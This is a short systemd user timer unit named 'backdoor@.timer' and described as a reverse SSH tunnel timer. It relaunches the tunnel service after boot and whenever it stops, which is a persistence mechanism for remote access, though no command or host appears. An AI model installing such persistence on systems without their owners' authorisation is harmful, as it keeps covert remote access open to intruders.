systemd/user/backdoor@.timer

   1 [Unit]
   2 Description=Reverse SSH Tunnel Timer
   3
   4 [Timer]
   5 # Start after boot
   6 OnBootSec=5min
   7 # If unit becomes inactive, try again later
   8 OnUnitInactiveSec=10min
   9
  10 [Install]
  11 WantedBy=timers.target